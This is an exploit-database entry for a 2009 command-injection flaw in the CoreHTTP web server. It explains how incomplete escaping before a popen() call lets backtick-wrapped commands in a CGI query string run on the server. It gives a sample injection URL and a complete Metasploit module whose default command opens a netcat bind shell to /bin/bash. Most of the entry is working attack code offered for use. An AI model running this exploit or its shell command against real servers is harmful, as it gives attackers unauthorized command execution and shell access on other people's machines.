Author

Aaron Conole

Risk

[

Security Risk Unsored

]

0day-ID

0day-ID-9603

Category

remote exploits

Date add

23-12-2009

Platform

unsorted

==================================================
CoreHTTP Arbitrary Command Execution Vulnerability
==================================================


# Title: CoreHTTP Arbitrary Command Execution Vulnerability
# CVE-ID: ()
# OSVDB-ID: ()
# Author: Aaron Conole
# Published: 2009-12-23
# Verified: yes

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Package name: CoreHTTP server
Version: 0.5.3.1 and below (as long as cgi support is enabled)
Software URL: http://corehttp.sourceforge.net/
Exploit: http://aconole.brad-x.com/programs/corehttp_cgienabled.rb
Issue: CoreHTTP server fails to properly sanitize input before calling popen()
and allows an attacker using a standard web browser to execute arbitrary
commands.
 
NOTE: depending on the script and directory permissions, the attacker
may not be able to view output.
 
Further Discussion: During code review / debugging of CoreHTTP, a look at http.c
source file revealed:
 
    /* escape the url for " and \ since we use it in popen */
    for (i = 0; i < PATHSIZE; i++) {
        if (url[i] == '\0') break;
        else if (url[i] == '\\' || url[i] == '\"' || url[i] == '\'') {
            find = url + i;
            strcpy(temp, find);
            *find = '\\';
            *(find+1) = '\0';
            strcat(url, temp);
            i++;
        }
    }
 
In the above, only " and \ are escaped, allowing one to specify |`& and any
other special formatting.
 
The URL then gets broken into 2 parts:
- url (which in this case is a script)
- args (which contains our 'evil' buffer)
 
There is a caveat though:
        if (c == 0)  { /* TODO our dirlist perl script takes the path
                of the dir as the arg. the way we do cgi
                right now is scipt.pl?arg turns into
                commandprompt> ./script.pl arg. obviously
                when urlencode is implemented correctly this
                must be changed. */
            strcpy(args, url);
            strcpy(url, DIRLIST);
            break;
        }
 
In this, we can see that DIRLIST overwrites the value of url and url overwrites
the value of args - so for simple directory listing this vulnerability becomes
a bit more difficult to exploit (depending on directory name, the system could
still be vulnerable).
 
Finally, here's the call to popen:
    } else if (cmd[0] != '\0') { /* if its dynamic content */
        pipe(pipefd); /* make pipe then fork */
        c = fork();
        if (c > 0) { /* original, keep going */
            close(pipefd[1]); /* no need to write */
            sprocket->fd = pipefd[0];
            SetNonBlock(sprocket->fd);
        } else if (c == 0) { /* child, popen */
            close(pipefd[0]); /* no need to read */
            pipetoprog = popen(cmd, "r");
            /* fread should be non-blocking for this to exit fast
            when parent proc closes pipe */
            while ((i = fread(temp, 1, BUFSIZE, pipetoprog)) != 0
                && write(pipefd[1], temp, i) > 0);
            pclose(pipetoprog);
            close(pipefd[1]);
            exit(EXIT_SUCCESS); /* exit after done */
        } else { /* failed */
            RemoveSprock(sprocket, &FIRSTSPROCK);
            return NULL;
        }
 
And there you have it. Simply download coreHTTP for yourself, build, enable CGI,
touch foo.pl and then send it a request for /foo.pl%60command%26%60 which will
set url to /foo.pl and args to `command&` and call popen. Voila!
 
===========
 
###
## MSF Exploit for CoreHTTP CGI Enabled Remote Arbitrary Command Execution
## CoreHTTP fails to properly sanitize user input before passing it to popen,
## allowing anyone with a web browser to run arbitrary commands.
## No CVE for this yet.
###
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
 
    include Msf::Exploit::Remote::Tcp
    include Msf::Exploit::Remote::HttpClient
 
    def initialize(info = {})
        super(update_info(info,
            'Name'      => 'corehttp remote command execution',
            'Description'   => %q{
                This module exploits a remote command execution vulnerability in corehttp versions 0.5.3.1 and earlier.
                It requires that you know the name of a cgi file on the server.
                NOTE: If you want to do something more than remote shell, you'll have to change CGICMD
            },
            'Author'    => [ 'Aaron Conole' ],
            'License'   => MSF_LICENSE,
            'Version'   => '$Revision:$',
            'References'    =>
                [
                    [ 'URL', 'http://aconole.brad-x.com/advisories/corehttp.txt' ],
                                        [ 'URL', 'http://corehttp.sourceforge.net' ],
                ],
            'Priviledged'   => false,
            'Payload'   =>
                {
                    'Space'       => 1024,
                },
            'Platform'       => 'php',
            'Arch'           => ARCH_PHP,
            'Targets'        => [[ 'Automatic', { }]],
            'DefaultTarget' => 0))
             
            register_options(
                [
                    OptString.new('CGIURI', [true, "The URI of the CGI file to request", "/foo.pl"]),
                    OptString.new('CGICMD', [true, "The command to execute on the remote machine (note: it doesn't support redirection)", "nc -lvnp 4444 -e /bin/bash&"])
                ], self.class)
 
    end
 
    def exploit
 
        timeout = 0.01
 
        print_status ("Building URI")
 
        uri = ""
        uri = uri.concat(datastore['CGIURI'])
        uri = uri.concat("?%60")
        uri.concat(datastore['CGICMD'])
        uri = uri.gsub(" ", "%20")
        uri.concat("%60")
        uri = uri.gsub("&", "%26")
 
        print_status("Trying URI #{uri}")
 
        response = send_request_raw({ 'uri' => uri}, timeout)
 
        handler
    end
 
end



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